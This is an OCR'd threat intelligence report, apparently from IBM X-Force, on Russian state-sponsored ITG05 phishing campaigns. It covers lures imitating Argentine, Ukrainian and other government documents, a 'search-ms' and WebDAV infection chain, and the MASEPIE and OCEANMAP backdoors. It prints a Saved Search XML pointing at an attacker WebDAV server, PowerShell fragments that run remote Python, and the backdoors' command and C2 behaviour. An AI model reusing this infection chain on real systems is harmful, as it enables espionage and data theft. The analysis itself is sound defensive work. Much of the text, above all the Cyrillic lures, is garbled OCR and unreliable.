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As of March 2024, X-Force is tracking multiple ongoing ITGO5 phishing campaigns featuring lure documents crafted to
imitate authentic documents of government and non-governmental organizations (NGOs) in Europe, the South Caucasus,
Central Asia, and North and South America. The uncovered lures include a mixture of internal and publicly available
documents, as well as possible actor-generated documents associated with finance, critical infrastructure, executive

engagements, cyber security, maritime security, healthcare, business, and defense industrial production.

Beginning in November 2023, X-Force observed ITGO5 using the “search-ms” URI handler, a new technique for the group,
leading victims to download malware hosted on actor-controlled WebDAV servers. ITG0O5 was also observed delivering
MASEPIE, a new backdoor replacing Headlace to facilitate follow-on actions. In addition to MASEPIE, ITGO5 developed
another new backdoor dubbed OCEANMAP. X-Force analysis revealed the code basis of CREDOMAP was likely used in
the creation of OCEANMAP. In place of CREDOMAP, ITGO5 has opted for the use of a new simplified PowerShell script
named STEELHOOK.

ITGOS is a Russian state-sponsored group consisting of multiple activity clusters and shares overlap with APT28, UAC-028,
Fancy Bear and Forest Blizzard. The observed tools, tactics and procedures (TTPs) featured in the campaigns strongly

correlate to recent ITGO5S activity. Given their sustained operations tempo and continuously evolving methodologies, it is

highly likely that ITGO5 will continue to carry out malicious activity against global targets to support state objectives.
Key findings

» As of late February 2024, ITGOS5 is running multiple phishing campaigns impersonating entities from at least
Argentina, Ukraine, Georgia, Belarus, Kazakhstan, Poland, Armenia, Azerbaijan, and the United States

e The uncovered lures appear to feature a mixture of internal and publicly available documents, including possible
actor-generated lures

o ITGOS5 leveraged lures featuring multiple topics including finance, critical infrastructure, executive engagements,
cybersecurity, maritime security, healthcare, and defense industrial production

o ITGOS is utilizing the freely available hosting provider, firstcloudit[.]Jcom to stage payloads

e X-Force observed several new techniques such as the abuse of the “search-ms” protocol and WebDAYV servers to
deploy malware

e ITGOS5 is evolving its malware arsenal, altering older malware such as CREDOMAP and introducing the MASEPIE
backdoor
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In late 2023, X-Force reported ITG05’s use of authentic publicly available government and non-government lure documents

in phishing campaigns across at least 13 nations worldwide. In the reported phishing campaigns, ITGO5 delivered Headlace
malware to victims within specific geographic boundaries. To facilitate operations, ITGO5 leveraged freely available

development services including mocky.io, mockbin and infinityfreeapp to stage malicious payloads.

Beginning in November 2023, X-Force uncovered ITG05’s use of multiple lure documents designed to impersonate
government organizations in Ukraine, Georgia, Kazakhstan, Belarus, Argentina, and the United States. In concert with
reports highlighting ITG05’s campaigns impersonating additional entities in Poland, Armenia and Azerbaijan, the X-Force

uncovered lures are likely predominately derived from a mixture of public and internal documents.

However, in an update to their methodologies ITGO5 is utilizing the freely available hosting provider, firstcloudit[.]Jcom to
stage payloads to enable ongoing operations. To engender victim engagement ITGO5 presents an intentionally opaque image
of the lures to entice the victim to click through the content and reveal the document. Upon clicking, the victim ultimately

launches the infection chain to deliver MASEPIE malware.
Background
Analysis

Lures

Between late November 2023 and February 2024, X-Force uncovered at least 11 unique lures associated with the delivery of
the ITGO5-exclusive MASEPIE malware. The documents appear to be official documents associated with at least five
governments throughout Europe, North and South America, Central Asia, and the South Caucuses. The topics of the
documents feature multiple themes including finance, critical infrastructure, executive engagements, cyber security,
maritime security, healthcare, and defense industrial production. Of note, it is possible some of the lures may be actor-

created decoy documents.
Argentina

Between December 2023 and late January 2024, X-Force uncovered three unique Spanish-language lure files that likely

imitate official documents directed at the Executive Branch of the Argentine Republic.
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MUNICIPALIDAD DE LA CIUDAD DE SALADAS

25 de Mayo y Sargento Cabral |Saladas C. P.: 3420 | Corrientes
E-mail: demsaladas@gmail.com | Tel -fax 03782-421033
- Satades Cuna 2ot &efu?‘v ;ﬁ&d’ Baatiste Codral -

Saladas, Corrientes, 27 de diciembre de 2023

AL SR. PRESIDENTE DE LA NACION ARGENTINA
DON JAVIER MILEI

Estimado Sr. Presidente,

Tengo el honor de dirigirme a Usted por medio de la presente,
con el objeto de hacerle llegar una invitacion muy especial, tanto para mi como para la
comunidad que represento.

El 3 de febrero del afio 2024 se conmemora el 291° aniversario del
combate de San Lorenzo; un hecho histérico de gran relevancia para nuestra Nacion. En él
recordamos la valentia y arrojo de nuestro maximo héroe, el Sargento (PM) Juan Bautista
Cabral.

Seria un honor poder contar con su presencia en tan caro
acontecimiento para nuestra comunidad, ademés de un hecho histérico y un hito para el
federalismo de nuestro Pais.

Sabedor de su extremadamente complicada agenda y de lo

complejo del contexto social y econémico que nos toca atravesar; el pueblo de Saladas y, me
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Republica Argentina - Poder Ejecutivo Nacional

Nota

:2024-04003794-APN-DCPYSU#SGP

CIUDAD DE BUENOS AIRES
Jueves 11 de Enero de 2024

OTIFICA REINTEGRO DE GARANTIA MANTENIMIENTO OFERTA - PROCESO DE
0041-LPU22 — POWERCHINA LTD. SUCURSAL DE EMPRESA EXTRANJERA

rrevazzi (CMV#SGP), POWERCHINA (argentina@powerchina-intl.com), PROWERCHINA
iowerchina-intl.com), PROWERCHINA (jiaozifeng@powerchina-intl.com), POWERCHINA
a@powerchina-intl.com), POWERCHINA (weisifan@powerchina-intl.com),

Maria Del Malvar (CMV#SGP), Constanza Perassi (CMV#SGP),

consideracion:
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POLITICA PRESUPUESTARIA DE LA JURISDICCION

El Ministerio de Economia es la autoridad encargada de asistir al Presidente de la Nacion
y al Jefe de Gabinete de Ministros, en orden a sus competencias, en todo lo inherente a la politica
econdmica; la energia; la agricultura, ganaderia y pesca; la industria, comercio y desarrollo productivo;
la politica presupuestaria e impositiva; la gestion y administracion de la deuda publica y de las finanzas
publicas en general, las relaciones financieras internacionales, la coordinacion econémica y fiscal con
las provincias y la Ciudad Auténoma de Buenos Aires, las estadisticas y censos en el orden nacional; y
a la elaboracion, propuesta y ejecucion de la politica de comercio exterior.

En ese marco, corresponde al Ministerio de Economia el disefio de lineamientos
estratégicos de la politica econémica nacional para el crecimiento con inclusion social, con una mirada
macroeconomica, sectorial, regional, distnbutiva y de género. De la misma manera, le concierne la
evaluacion del impacto sobre la produccion, la pobreza, el empleo y la distribucion del ingreso de las
politicas llevadas a cabo y de los cambios en el contexto nacional e internacional. Asimismo, es larea
de este Ministerio planificar estrategias y politicas tendientes a promover el desarrollo sostenido. A
estos fines se preve:

- Analizar y evaluar medidas de politica economica, considerando el impacto en el desarrollo
productivo regional y sectorial

- Elaborar propuestas de politica economica regional y sectorial, coordinando su accionar con las
jurisdicciones con competencia en la materia.

- Elaborar indicadores e informes periddicos y realizar analisis del impacto de las politicas
productivas.

- Participar en la agenda del sector publico referida a politicas para el desarrollo productivo local,
regional y sectorial, en coordinacion con las areas de la Administracion Publica Nacional con
competencia en la materia.

- Analizar e identificar sectores estratégicos de la economia nacional, de acuerdo al disefio de la
politica macroeconoémica.

- Realizar andlisis de rentabilidad, estructura de costos e incidencia tributaria en la actividad sectorial
y nacional.

- Analizar y evaluar los entornos micro y macro de la economia, en su vinculo estratégico con el
desarrollo nacional.

- Programar, coordinar y dirigir las tareas correspondientes al seguimiento de la economia nacional e
internacional, y analizar el impacto de los cambios en el contexto internacional sobre la economia
nacional.

Dated January 11, 2024, the first lure appears to imitate a government document of the Republic of Argentina’s National
Executive Branch. The machine-translated contents reference titled “Notify Refund of Warranty Maintenance Offer” is
associated with the legitimate Power Construction Corporation of China (POWERCHINA). However, a close examination

of the document reveals multiple misspellings, potentially pointing to evidence that the document is actor-generated.

The second document dated December 27, 2023, features the hallmark and signature block of the Municipality of Saladas
and reads as an invitation to the President of Argentina, Javier Milei for an event taking place in February 2024. The final
document features the translated title “Budgetary Policy of the Jurisdiction”, which describes the role of the Ministry of
Economy in crafting “strategic guidelines” to assist the President with the creation of national economic policy. In January
2024, Russia expressed regret that Argentina rejected an invitation to join the BRICS and hopes it may reconsider. It is

possible that ITG05 seeks to attain access that may yield insight into the priorities of the Argentine government.
Ukraine

Within 60 days, X-Force discovered four separate Ukrainian-language documents that feature a range of topics from

legislative amendments and the defense-industrial complex to joint science research initiatives and international healthcare
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acquisitions. Several of the lures appear to be printed documents from public-facing websites, while others seem to be

internal policy documents, some of which appear as digital copies of physical documents. Of note, the documents appear to

be dated between November 2023 and January 2024. The ongoing war in Ukraine virtually guarantees the continued
targeting of Ukrainian mission-critical entities by ITGO5.

3asaBHHK,
KpaiHa

BupobHuk,
KpaiHa

3ATBEPIKEHO
Haxka3 MiHicTepcTBa oxopohu
310poB’s Y Kpaiuu
1. 10_Z2043Ne ££D P
Peectpauiiine nocBixueHHs

Ne LY

3enTiBa, K.c., Yecbka Pecny6.ika
Zentiva, K.s., Czech Republic

®APMATEH C.A., I'peuin

PHARMATHEN S.A., Greece

(nepsunne ma 6mopunne naKyeants, KOHMPoOlL AKOCHI, izuxo/xismivne ma
Mikpobioaoziune mecmyeanis, gionoeioac 3a eunyck cepii)
OAPMATEH IHTEPHEIIIHJI C.A.,

I'penin

PHARMATHEN INTERNATIONAL S.A., Greece

(6upoBHUYmME0, nepsuNIe Ma BMOPUHHE NAKVEAHHS, KORMPOIL AKOCI,
izuxo/ximivne ma Mikpoobionozivne mecmyeanns, 6i0nosioae 3a 6unycx cepii
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s

3AKOH YKPAIHH

Ilpo Buecennsn 3min no Kogekcy Ykpainu npo
agmiHicTpaTHBHI NpaBONOPYIIeHHSA MO0
3anpoBajKeHHs agMinicTpaTHBHOL
Binnosinansnocri y cdepi nigroroskn ra nonycky
BOXiiB 10 KepyBaHHS TPAHCNOPTHHMH 3acobaMHu

Bepxossa Papa Vepainu nocranosnse:

L Bmecru no Kopexcy Vxpaldu npo agMisicTpaTrMBei NpaBonopymeHss
(Binomocti Bepxormoi Panu YPCP, 1984 p., noparok no Ne 51, cr. 1122) raxi
AMiHK:

1. lonoeustu crarramu 1273 | 127% raxoro asmicry:

“Crarra 1272 lNopymenns nopsaaky niaroroskx, nepeniarorosks i
niasmmenns xnaxigixanii soalin rpancnopruux sacobis

Mopywesns nocaposumu ocobamu 3axknagis, Ix $inidl 9w iwoex
plnokpemnenux  migpoapinis,  ¢diswummmm ocobamm - niANpHEMUSME
BCTAHOBNEHOr0 MNOPANKY MNIATOTOBKH, NepeniaroToBkH |  NIABHUWEHHA
xeanigixauii soaiis Tpancnoprux sacobis, a came:

anificHenH s NUAroTOBKH, nNepeniaroToBKkH Boglis TpaHCNOPTHHEX 3acolis
ocofol, SKa He MaE YHHHOrO NOKyMeHTa cneumianicra 3 migroroexm soniis
TPAHCNOPTHHX 3acobin;

ponyck ocif, Kl He CKNanH TeOPeTHYHHA ICNHT, 10 NPaKTHYHOI NIArOTORKH
soaiis;

NpoBeaeHHA NPaAKTHYHOI MATOTOBKH BOAIIB 3 BHKOPHCTAHHAM TPAHCIOPTHHX
sacobin, ofnagnamux 3 nopywennsm mesor [lpasun gopoxmusoro pyxy, abo
0cob0k, AKa no3BanNeHa NPasa KOPYBAHHS TPAHCIOPTHHME 3acobaMu, -

TArHe 3a cobolw HaknageWHs wmwrpady Bia n'sTEcor g0  Bicimcor
HeONnoAaTKORYBAHMX MiHiMyMin noXOAiR rpoMalsH.

Crarra 1274, lNopymenns nopaaxy aepxasnoi axpeauranli saxnanis,
mOo NPOBOANTL Niarorosky, nepeniarorosky i migsumenns ksaridikanii
soiis Tpancnopranx 3acobis, arecranil ix cnenianicris Ta nopanky
npuiiManns lCOMTiB I8 OTPHMANNA HPABA KePYBANNSA TPANCHOPTHHMNE
sacobamu, odopmrennsn Ta suaa4l nocsinvennn soain

[Mopymesns nocagopHMe ocofaMH BCTAHOBNEHONO NOPAAKY NpOBENEHHR
nepxasHol akpeguTauii saknagie, WO NPOBOAATE MIArOTOBKY, MEPeMiAroTORKY |
nigenmenns ksankdixauil pogiis TpancnoprHMX sacolis, a Tak caMO NOPYWOHHS
BCTAHORNEHOro nopsaxy arvecrauii ix cnewianicrie -

TArHYTe 3a cofow0 HaknaneHHs wrpady Bia n'aTHcoT OO0 oamiel THCA4
HEONOAATKORYBAHMX MiHiMyMin noxoain rpoMansn.

lNopymesns nocagoBuMK ocoBaMM TOPHTOPIANLHHX COpPBICHMX UOHTPIs

Minicrepcrsa BHyTpUUHIX cnpas VKpalMd BCTAHOBNEHOrO NOPANKY NpHAMaHHs
icnuTie AR OTPHMANKHA NPaBa KePYBAHHA TPAHCNOPTHHMM 3acobaMu abo muaavi

noceigyenns soais -
TArHe 3a cobow Haknagenns wrpady bia oamiel Thes4l po amox THesw
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S8
\|/

IiaTpEMKa HaceIeHHA, IKe BHKOHYE 000B'AI3KH HA HiANPHEMCTBAX
000POHHO-IPOMHCJIOBOI0 KOMILJIEKCY, Ta 0araTodiTHHX cimeid

Mmu, Vpsan Vkpaini, BHAaeMO 1eH ohIMiHHAN JOKYMEHT, 100 MiIKpecInTH H
IOPHXIUIBHICTE 0 MIATPHMKH HacelleHHd, sIke BHKOHYE CBOi OOOB'A3KH Ha 00'el
BIHICHKOBO-IIPOMHUCIOBOTO KOMIUIEKCY, Ta OaraTogiTHHX CIMeH Yy Hallil JIep
Bu3HarouH 3HaYHHI BHECOK LHX JIFO/IEH Ta IXHIX POJIHH, )KHTTEBO Ba)KIHBO 3a0e3Iey
YMOBH, CIIPUSATINBI U1 IXHBOTO J0Op0oOYyTY, 3pOCTAaHHSA Ta YCIIXY.

ITepm 3a Bce, MH BH3HAa€EMO BaXJHBY pOJb, Ky BLIIIpa€ Ham 0OOpOR
IIPOMHCJIOBHII KOMIUIEKC Yy 3a0e3lleueHH]1 HAIlOHANbHOI Oe3lekH, 3aXHCTI Ha
He3aJIeXKHOCTI Ta MIATPHMIIL MHPY B MeXaX HalmlnX KOpAoHiB. CaMOBIJIaHICTh 1 JIO¢
npodecioHaliB, Kl MPalIOTE Y LBOMY KOMILIEKC], € Oe3LIHHHMH 1 3aCIyTOBYHOTI
HAIly HEeNOXUTHY IIATpHMKY. JUId e@deKTHBHOI MIATPHMKH LBOTO HaceleHHS
3000B'A3yeMOCs

1. HapmaBatn HeoOXiJHI pecypcH: Mu 3000B'i3yeMOcs BHAUIATH He0oOX
KOIITH, IHQPAcCTPYKTypy Ta TeXHOJOTii ANA MOCHIeHHS MOTeHIiaTy
MOJJIHBOCTEIl BiliCEKOBO-IIPOMIICIOBOTO KOMIUIEKCY. MH BH3HaeMO,
no0pe oCHalleHHi KOMIUIEKC He JIHIle 3MIiIIHHTh HalllOHAJIbHY Oe3IeKy,
I copHATHME TeXHOJIOTIYHOMY TIIPOTpecy, CTHMYIIOIYH eKOHOM!
3pOCTaHHA.

2, Cropudatn  npodeciiiHoMy pO3BHTKY: MH  HaroJomyemo
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Pexomenaanii po0o9HX rpyn eKcIepTiB
mo Crparerii ocBitn i Haykn VKpainn

Crpareriuaa minp 1: Jocainaanbka iEdpacTpykrypa VYKpaiEH CHCTeMHO
POZBHBAETHLCHA, €(QEeKTHBHO BHKOPHCTOBYETHCA TA € eJeMeHTOM €BPONeHCHKOro
JOCTITHANBLKOTO MPOCTOPY

Ipodnemu:
glocymuicme wimxoi 0epacagHol nonimuxu wooo poseumxy I,

GIOCYMHICIMb MEXaHi3MIe ma IHCMpyMeHmie 3a0e3neyeHHs AKOCMI ma eQexmueHocmi
HPULHAMMA ONEPAMUSHUX YNPAGTIHCOKUX PIULeHb;

HeY3200CeHicmy  NOTIMUK PI3HUX MIHIcmepcme Y cghepi IHHO8aYlll ma HAOAHHA NIOMPUMKU
PO3BUMKY HAVKU ma iHHO8AYIl.

Pimenus:

Po3po6HTH Ta IPOBECTH OMHTYBAHHA HION0 PO3BHIKY AOCHIIHHIBKOL 1H(pACTPYKIypH A1i
moTpel Jep:KapH, PeaTbHOTO CeKTOpY eKOHOMIKH Ta CYCILIBCTBA, Pe3YIBTaTH BPAXyBaTH IIPH
(hopMyRaHHI TEMaTHKH JOCTIKEHE Ta HAIPAMIB PO2BHTKY iH(pacTPyKTypH.

Pimenna:

3anpoBagHTH IHCTHTYT «PalHHKIB (KypaTopiB) 3 IHTaHb HAYKOBO-TEXHIYHOI MOMITHKH» ¥
BigmoBimHuX mnpodinsHEX MiHicTepcTBax (Mimmmdpa, MO3, Mino6opoun, Minenepro,
Minarpo, MiHiHGpPacTpyKTypH Tommo) 3am1i edeKTHBHOI KoMyHikamil Ta B3aeMOmii Mik
HAyKOBHMH HOCTHITHHOBKHMH IpynamMH T1a 1JOBB. CIBOPHTH CTIPYKIYPHI MHiAPO3OLIH Y
cexktopanbHHX 1[OBB, BiAmOBiZaneHI 3a MATOTOBKY TaTy3eBHX IPOIMO3HINH, 3amHTIE Ta
moTped HayKOEMHHX Ta 1HHOBAIIHHHX pilIeHb.

Global Security and Investment

X-Force uncovered two English language lures leveraged by ITGO5. The first appears as a policy paper originating from the
Georgian NGO, Georgian Center for Security and Development, from December 2023 that details cybersecurity
recommendations. The second English language document reads as a January 2024 itinerary distributed to participants in the
Pacific Indian Ocean Shipping Working Group (PACIOSWG), hosted by the US Navy detailing the 2024 Meeting and
Exercise Bell Buoy (XBB24).

In addition, X-Force uncovered what appears to be an internal document belonging to the Ministry of Defense of the
Republic of Kazakhstan describing military unit finances. X-Force also discovered a single Belarussian document detailing
project recommendations for the creation of commercial conditions to facilitate interstate enterprise under the auspices of
the Eurasian Economic Union Integration initiative by 2025. Finally, X-Force uncovered a single French language document
that appears to feature a 2024 operating budget proposal by a General Secretariat of the Government. It is likely the
collection of sensitive information regarding budget concerns and the security posture of global entities is a high-priority

target given ITGO5’s established mission space.
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] GEORGIAN CENTER FOR
\ STRATEGY AND DEVELOPMENT

TENDERS

TOR FOR EXPERT/ORGANIZATION IN SOCIAL MI
DEVELOPMENT

Reference Title: Terms of Reference for Expert/Organization in Social Media Guideline

General Background: In the fall of 2023, the Office of American Spaces started a 5
literacy, critical thinking, and countering disinformation through a network of Americ
and Central Asia. American Spaces are hosted at U.S. embassies, consulates, and vari
countries around the world. American Spaces are cultural and information hubs tha
discussion, and civic engagement around democratic principles and access to a
communities.

ACNITD ic fiindad hir tha NfRra Af Amariran Qnarac tha Buraan Af Eduratinnal and Mo

Page 10 of 31



https://securityintelligence.com /x-force/itg05-leverages-malware-arsenal /

024 Participants

2024 MEETING AND XBB24 FPC JOINING
INS

"JON

yrmation Fusion Centre (IFC) of the Republic of Singapore Navy
+ United States Navy (USN) (Current Chair) will co-organise the
Ocean Shipping Working Group (PACIOSWG) 2024 Meeting and
3uoy 2024 (XBB24) Final Planning Conference (FPC); conducted
1 Mar 2024 at the Zhongsan Room, Level 2 of the Aloft Singapore
 Wing).

IE DATES
CIOSWG 2024 Meeting and XBB24 FPC will be conducted from
ar 2024. Participants are requested to arrive in Singapore no later

024.

JNENTS
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CITPABKA
O npoexTe Pekomenjauuu o BHejpennH Hanbosiee 61aronpUATHLIX YCI0BHI ISt
yupex/JeHus 1 BefleHHs1 Ou3Heca

IMpoekT PexoMeHjauMd O BHeAPeHUH Haubonee OMArONpPUATHBIX YCJIOBHH st
yupexjieHuss M BejeHusi Ou3Heca (ganee — mnpoekT PekomeHzaluu) IOATOTOB/IEH
B COOTBETCTBHM C nyHKTOM 1.7.1 IlnaHa meponpustHid no peanusayuu CtpaTernyeckux
HalpaB/leHHH pa3BUTHUSl eBpPasHHCKONH 3KOHOMMYecKol wuHrerpaumu o 2025 ropja,
yTBep:KAeHHoro pacriopsokeHnem Cosera Komuccun ot 5 anpens 2021 r. Ne 4
(nanee — Ilnan), nognyHktom 1 mnyHkra 2 craten 67 Jloroeopa o EADC
(nanee — Jdorosop), nyHKktamMu 61 u 62 IIpoTOKOMa O TOProBje yC/IyramH, yUpexJeHuH,
J1eATe/IbHOCTH M OCY1IIeCTB/IeHWH MHBeCTHLMH (npuioxkenue Ne 16 k [lorosopy).

Ilpoekr  PexkomeHjauuu  mpejnojaraer  peaau3alMe  CIeAyHIHX
Hanpas/IeHHii:

a) npu MpoBe/leHHH pabor no YIIyUYLIeHHIO [1e/10BOro
W MHBECTHULIMOHHOI0 K/IMMaTa YYUTHIBATh NOJIOXKEHHS:

Pexomenpaiuu  Komnerun Komuccuu ot 4 okrsabps 2022 r. Ne 39
«O  QopmupoBaHHM WIM YAyUILEHWH YCNOBHH [ CO3JaHUSt W JIeSTe/IbHOCTH
B rocyjapcreax — wieHax EBpasviiCKOro 3KOHOMHYECKOr0 COH3a COBMECTHBIX
NPeANpHATHI B CEKTOpax TMPOW3BOJACTBEHHOM JeATe/NbHOCTH» (fanee — PekoMmeHaLus
no CII) w pgoknago Komuccun «OO  yclioBMAiX CO3J@HUst M JIeATEbHOCTH
B rocyjapcrBax-uieHax EBpasuiicKoro 3KOHOMHMYECKOr0 COK3a  COBMECTHbBIX
NpeAnpHATAH B TPOM3BOJCTBEHHBIX CeKTopax ycayr» (ogobpenHoro Konnerueit
Komuccun 21 pekabpsi 2021 roga), «O COCTOSHHH [€NOBOr0 M WHBECTHLIMOHHOIO
K/MMaTa B TrOCyJapcTeax — uieHax EBpasuiickoro 3KOHOMHYECKOro CoOro3a»
(opobpennoro Konnerneit Komuccuu 6 gekabps 2022 roga);

Pexomendayus no CIT Hayenexa Ha ¢popmupoeanue 8 2ocydapcmeax-unenax EASC
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[ DU BUDGET DE FONCTIONNEMENT
RIEL ET DEPENSES DIVERSES
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The new infection chain

As of late November 2023, X-Force observed ITGO5 using the FirstCloudIT web hosting provider to stage malicious files

likely distributed by phishing emails. To avoid victim suspicion, ITG05 crafts what appear as benign subdomains which

feature keywords such as ‘docs’ and “files’. Similar techniques were observed in previously reported campaigns delivering

Headlace. X-Force observed the URLSs hosted on FirstCloudIT were available on average for only one to two days.

The flowchart below outlines the stages of an infection via the search-ms protocol, custom WebDAV servers and the
delivery of first and second-stage malware: MASEPIE, OCEANMAP and STEELHOOK respectively.
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Fig. 1: Example infection chain of recent ITGO5 campaign

Abusing the “search-ms” protocol

Once a victim visits a weaponized site, they are presented with a blurred image of the lure document. A button prompts the

user to view the document by clicking.

Page 14 of 31



https://securityintelligence.com /x-force/itg05-leverages-malware-arsenal /

MLUNBOIPALIDAD DE LA CHUDAD IE SALADAS

Tl M e | e Nt ¢ P MW e

| o S g v o e 808 & W

(b e M et W T

A RELOENTT A R s e

CLICK TO VIEW DOCUMENT

et hem B B . e e — O 8 ——
A @ e G ae S W Sy " W e
| g —
P & e e P DUt e aemeemny @ W ge—
S @ N e e e e S . @ W e e ey w8
- —— o — . @ W B e Smm— w0 g D e Qs
-~
e @ e Sl SR o e = W
. — . —— St G B o e Cmmen . e . mwe -
i — W S
s B — — _— . ®
e W —— o W e— g e w g S —— O S ——

Fig. 2: Screenshot of a weaponized site used in a campaign impersonating a municipality in Argentina

Upon access, the victim unknowingly executes the following JavaScript code (example from a campaign impersonating the

Argentinian government):
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)80%5Cdocu

A query is executed to an actor-controlled WebDAV server via a “search-ms” URL, stored in the JavaScript command. This
action results in prompting the user for their permission to open the Windows File Explorer before initiating the next stages

of infection.
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ation.

Is type In the associated app

Open

Fig. 3: Windows Explorer pop-up

If the victim accepts, the “search-ms” functionality begins by locating the Saved Search XML file (*.search-ms) from the

path specified in the “subquery” parameter:
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<?xmlversion="1.0"?>
<persistedQuery version="1.0">

<viewlInfo viewMode="icons" iconSize="256" stacklconSize="0" displayName="Documents"
autolistFlags="0">

<visibleColumns>

<column viewField="System.ltemNameDisplay"/>
</visibleColumns>

<sortList>

<sort viewField="System.ltemNameDisplay" direction="ascending"/>
</sortList>

</viewlInfo>

<query>

<kindList>

<kind name="item"/>

</kindList>

<scope>

<include path="::{F02C1A0D-BE21-4350-88B0-
7367FC96EF3CI\148.252.42[.]42@80\documents\Tender" attributes="1887437183"/>

</scope>

Saved Search File used for the Georgia campaign

From the victim’s perspective, a new File Explorer window is opened with the name “Documents”, provided in the
“displayname” parameter of the viewInfo element. The .LNK file is presented to the victim from the path specified in the
Saved Search file on the adversary’s server. Should the victim decide to open the malicious .LNK file, a PowerShell

command embedded inside is executed:
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Jows\System32
.Diagnostics.Pr
8.91[.]178@80\

8.91[.]178@80\

As aresult, the lure PDF is opened in MSEdge, while the malicious Python script (Client.py) is executed by the remote
Python interpreter (python.exe) from the actor-controlled WebDAYV server.

Of note, X-Force observed that PowerShell was only used in the initial campaigns active in late 2023. The latest builds of
the .LNK file use the built-in functionality of a relative path target to reference and run the remote Python executable with a
hardcoded argument. The relative path and binary name used on the WebDAYV server also mimics the path of the legitimate

Microsoft Office executable:
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path (on Wi
ffice.exe

During analysis, X-Force was able to access an open directory on an actor-controlled WebDAYV server used in multiple

active campaigns.
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Name Last modified Size Description

a Parent Directory -
ﬁ] Congr/ 23-Jan-2024 09:31 -
@ Data/ 22-Jan-2024 07:57 -
3 Info/ 22-Jan-2024 11:13 -
(3 Tender/ 23-Jan-2024 05:46 -
@ User/ 17-Jan-2024 06:56 -
z congr.search-ms 23-Jan-2024 09:27 612
z mor.search-ms 22-Jan-2024 08:53 611
3 tendersearch-ms 22-Jan-2024 14:53 613

Apache/2.2.22 (Debian) Server at 148.252.42.42 Port 80

Fig. 4: Open directory of a WebDAV server used in multiple campaigns

Each of the *.search-ms files indicates an individual campaign linking to their respective weaponized .LNK file contained in
the directories. The “User” directory contains the Python interpreter, as well as the MASEPIE payload. Assuming the last-
modified timestamps are in standard UTC, these modifications would fall into the regular working hours of 08:46-17:53
Moscow time (UTC+3).

X-Force’s analysis of the infrastructure revealed that the Common Name used in the TLS certificates indicates that both the
WebDAY, as well as the MASEPIE C2 servers, may be hosted on compromised Ubiquiti routers. On February 15, 2024, the
U.S. Department of Justice published a press release on the disruption of an APT28 botnet hosted on compromised Ubiquiti

routers. There is a realistic possibility that the takedown featured the same infrastructure leveraged by ITGO5.
NTLMv2 hash exfiltration

In previous campaigns observed by X-Force, the exfiltration of NTLMv?2 hashes for offline cracking or NTLM relay attacks

has been a major objective. Campaigns reported by Zscaler, in April 2023, outline ITG05’s use of modified open-source
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scripts designed to capture NTLM hashes on an infected machine. In addition, the scripts were part of X-Force’s observed

ITGO5 campaigns that delivered Headlace, which facilitates follow-on payloads capable of NTLM hash extraction.

According to a Palo Alto report, ITGO5 also made use of exploits such as CVE-2023-23397, which was actively exploited in

email campaigns throughout 2023.

In mid-January 2024, Varonis published a report demonstrating several new vulnerabilities that may be used to leak
NTLMv2 hashes. One notable technique demonstrates the abuse of the “search-ms” protocol, which is used by ITGO5 as of
November 2023 to deploy MASEPIE. In addition to loading payloads, this technique may attempt forced authentication
when trying to load a remote resource hosted on actor-controlled infrastructure and resembles techniques used against CVE-
2023-23397.

Considering ITG05’s prior campaign objectives, this suggests that ITG05 may be using the new vulnerabilities to leak
NTLMv2 hashes in addition to deploying secondary payloads. X-Force also assesses that ITGO5 may seek to exploit further
vulnerabilities that enable the theft of NTLMv2 hashes, including Outlook vulnerabilities (CVE-2023-35636, CVE-2024-
21413). The recent Microsoft Exchange vulnerability (CVE-2024-21410) would enable attackers to use exfiltrated NTLMv2

hashes in relay attacks.

Webhooks usage

Consistent with early Headlace campaigns, the latest ITG0O5 operations heavily rely on the use of public services such as
webhooks (webhook[.]site) to closely track infections. Webhook services are legitimate development tools but are
commonly abused for malicious purposes. The ongoing ITG05 campaigns include Interact.sh webhooks in various scripts to
relay information back to the operators. The webhooks placed by ITGO5 activate once a victim accesses a lure site, and
again if they choose to click on a “VIEW DOCUMENT” button. In addition, the initial variants of MASEPIE included

further hooks to notify ITG05 operators upon successful execution of malware.

MASEPIE backdoor

The first known variant of MASEPIE was reported by CERT-UA in late December 2023 and continues to evolve. Through
analysis, X-Force discovered that the most recent version of MASEPIE does not include any webhooks. To avoid running

PowerShell from the weaponized .LNK, ITGO5 changed to regular .LNK targets with command line arguments and moved
the functionality into MASEPIE. The new variants will immediately open a remote PDF document containing the lure as a

decoy with the following Python command:
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The objective of the MASEPIE backdoor is similar to Headlace but is a separate implementation of the unique ITG05
backdoor. MASEPIE attempts to connect every 50 seconds to its hardcoded C2 server port via TCP, sending the result of the
“whoami” command together with a random 16-byte key. Then, starts AES-128-CBC encrypted communication listening

for one of three commands:

o “check” which will have MASEPIE return “check-ok”
o “send_file” which allows MASEPIE to receive a file
o “get_file” which allows MASEPIE to exfiltrate an arbitrary file

Any other command which is not an empty string will be executed on the machine via Python’s os.popen(<command>)

method and return the response.
OCEANMAP backdoor

The OCEANMAP backdoor drops a file “EdgeContext.url” into the Windows Startup directory pointing to its executable for
persistence. Then, it starts by logging into the IMAP server used for C2 communication and adds a new email containing the

result of the “dir” command among other identifying parameters.
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v Internet Message Access Protocol
> Line: $ APPEND INBOX {1@88}\r\|
> Line: From: U ' g \r\n Usen
> Line: Subject:1/3/2024 5:44:51

Line: \r\n
> Line: Microsoft Windows [Versi
> Line: (c) 2019 Microsoft Corpol

Line: \r\n

> Line: C:\l
> Line: Volume in drive C is Wil
> Line: Volume Serial Number is

Line: \r\n

> Line: Directory of

Line: \r\n

> Line: '

Fig. 5: OCEANMAP C2 communication (IMAP)
OCEANMAP checks the inbox once every minute for any of the following commands:

» “changesecond” which changes the C2 server and credentials of both the primary and secondary servers
* “newtime” to change the command checking interval

 any other command is executed via cmd exe. If it contains the string “echo” the results are returned to the inbox

To check for new commands, the malware searches for emails in the “Drafts” mailbox containing its “name_id” string in the
subject. All remotely initiated configuration changes are performed by patching the binary on disk and restarting the

malware.

This new malware variant is a more capable backdoor version of its predecessor CREDOMAP, first discovered by CERT-
UA in 2022. X-Force’s analysis revealed that OCEANMAP has a strong overlap in both technique and .NET
implementation. Several of the functions used in OCEANMAP were repurposed from the original CREDOMAP stealer and
used as a base to build the new persistent backdoor. Of note, the stealing functionality has been removed completely and has
likely been shifted to a smaller stealer called STEELHOOK.
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Fig. 6: Comparison of OCEANMAP and CREDOMAP functions

The “Login” functions used to access the inbox of the IMAP server, are identical in both samples. A comparison of the

“create” function, however, reveals several updates:
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OCEANMAP

late 2023

length =
[] bytes =

"$ APPEND INBOX
length.ToString

Fig. 7: Comparison of OCEANMAP and CREDOMAP create() function

